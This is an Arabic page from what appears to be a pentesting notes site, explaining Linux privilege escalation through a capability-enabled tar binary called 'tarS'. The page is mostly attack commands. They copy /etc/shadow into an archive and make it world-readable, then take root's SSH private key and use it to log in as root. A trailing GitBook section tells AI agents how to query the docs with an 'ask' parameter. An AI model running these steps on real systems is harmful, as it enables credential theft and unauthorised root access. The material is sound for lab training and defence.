> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/privesc/capabilities/capabilities-tar-linux-privilege-escalation.md).

# القدرات (tarS) - تصعيد امتيازات لينكس

## ما هو

تقسّم صلاحيات لينكس الجذر إلى حقوق دقيقة يمكن إسنادها إلى الملفات التنفيذية. الصلاحيات الخطيرة مثل `cap_setuid+ep`, `cap_dac_read_search+ep`، أو يمكن لقدرات كتابة الملفات تجاوز القيود العادية للمستخدم. تركز هذه الصفحة تحديدًا على ثنائي مُمكَّن بالقدرات **tarS** الثنائي ويحافظ على سير الاستغلال بشكل عملي: حدِّد الحالة، تحقّق منها بأمان، ثم شغّل أصغر حمولة لازمة لإثبات الأثر.

## الاستكشاف

ابدأ بتأكيد السياق المحلي والتهيئة الخاطئة الدقيقة قبل تشغيل مسار الاستغلال.

```bash
getcap -r / 2>/dev/null
```

## أمثلة

## تصعيد الامتيازات (Capabilities)

```bash
getcap -r / 2>/dev/null
```

استخدم `getcap` لإحصاء قدرات الملفات. حدِّد الثنائيات التي يمكنها قراءة ملفات خارج الأذونات العادية للمستخدم الحالي.

<figure><img src="/files/04a7b90b8b814bc8ced97f0e24baba10907d388c" alt=""><figcaption></figcaption></figure>

**التقاط `/etc/shadow` باستخدام tarS**

أنشئ أرشيفًا يحتوي على `/etc/shadow`:

```bash
tarS -cvf shadow.tar /etc/shadow
```

استخرج الأرشيف في `/tmp`، ثم خفّف أذونات الملف المنسوخ بحيث يمكن قراءته:

```bash
tar -xvf /tmp/shadow.tar -C /tmp/
chmod 644 /tmp/etc/shadow
```

<figure><img src="/files/f29f2fdc0373a56a4958b0e8d1169b9de0cb6d6a" alt=""><figcaption></figcaption></figure>

**التقط المفتاح الخاص SSH للمستخدم root باستخدام tarS**

التقط المفتاح الخاص .ssh للمستخدم root باستخدام الأمر التالي:

```bash
tarS -cvf id_rsa.tar /root/.ssh/id_rsa
```

<figure><img src="/files/2a4a544c465eecc27dc1c75bc9dd41725606f98a" alt=""><figcaption></figcaption></figure>

**اتصال SSH باستخدام المفتاح الخاص الملتقط:**

استخدم المفتاح الخاص الذي تم التقاطه لإنشاء اتصال SSH بالمستخدم root على الجهاز المحلي.

```bash
ssh -i id_rsa root@localhost -p 2082
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/privesc/capabilities/capabilities-tar-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
